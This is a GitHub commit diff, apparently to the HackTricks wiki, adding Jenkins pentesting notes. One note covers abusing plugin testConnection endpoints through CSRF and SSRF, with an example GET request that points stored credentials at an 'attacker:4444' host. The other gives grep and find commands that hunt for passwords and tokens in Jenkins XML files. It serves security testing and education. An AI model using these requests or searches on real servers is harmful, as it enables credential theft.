Skip to content

Commit d925f6f

Browse files
committed
jenkins update
1 parent 76162d9 commit d925f6f

2 files changed

Lines changed: 32 additions & 2 deletions

File tree

src/pentesting-ci-cd/jenkins-security/README.md

Lines changed: 18 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -99,6 +99,24 @@ cd build_dumps
9999
gitleaks detect --no-git -v
100100
```
101101

102+
### FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)
103+
104+
Some plugins expose Jelly `validateButton` or `test connection` handlers under paths like `/descriptorByName/<Class>/testConnection`. When handlers **do not enforce POST or permission checks**, you can:
105+
106+
- Switch POST to GET and drop the Crumb to bypass CSRF checks.
107+
- Trigger the handler as low-priv/anonymous if no `Jenkins.ADMINISTER` check exists.
108+
- CSRF an admin and replace the host/URL parameter to exfiltrate credentials or trigger outbound calls.
109+
- Use the response errors (e.g., `ConnectException`) as an SSRF/port-scan oracle.
110+
111+
Example GET (no Crumb) turning a validation call into SSRF/credential exfiltration:
112+
113+
```http
114+
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
115+
Host: jenkins.local:8080
116+
```
117+
118+
If the plugin reuses stored creds, Jenkins will attempt to authenticate to `attacker:4444` and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
119+
102120
### **Stealing SSH Credentials**
103121

104122
If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
@@ -412,4 +430,3 @@ println(hudson.util.Secret.decrypt("{...}"))
412430
{{#include ../../banners/hacktricks-training.md}}
413431
414432
415-

src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md

Lines changed: 14 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -81,6 +81,19 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
8181

8282
**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
8383

84+
### Secrets in plugin/job configs on disk
85+
86+
Do not assume secrets are only in `credentials.xml`. Many plugins persist secrets in their **own global XML** under `$JENKINS_HOME/*.xml` or in per-job `$JENKINS_HOME/jobs/<JOB>/config.xml`, sometimes even in plaintext (UI masking does not guarantee encrypted storage). If you gain filesystem read access, enumerate those XMLs and search for obvious secret tags.
87+
88+
```bash
89+
# Global plugin configs
90+
ls -l /var/lib/jenkins/*.xml
91+
grep -R "password\\|token\\|SecretKey\\|credentialId" /var/lib/jenkins/*.xml
92+
93+
# Per-job configs
94+
find /var/lib/jenkins/jobs -maxdepth 2 -name config.xml -print -exec grep -H "password\\|token\\|SecretKey" {} \\;
95+
```
96+
8497
## References
8598

8699
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
@@ -90,8 +103,8 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
90103
- [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)
91104
- [https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)
92105
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
106+
- [https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/](https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/)
93107

94108
{{#include ../../banners/hacktricks-training.md}}
95109

96110

97-

0 commit comments

Comments
 (0)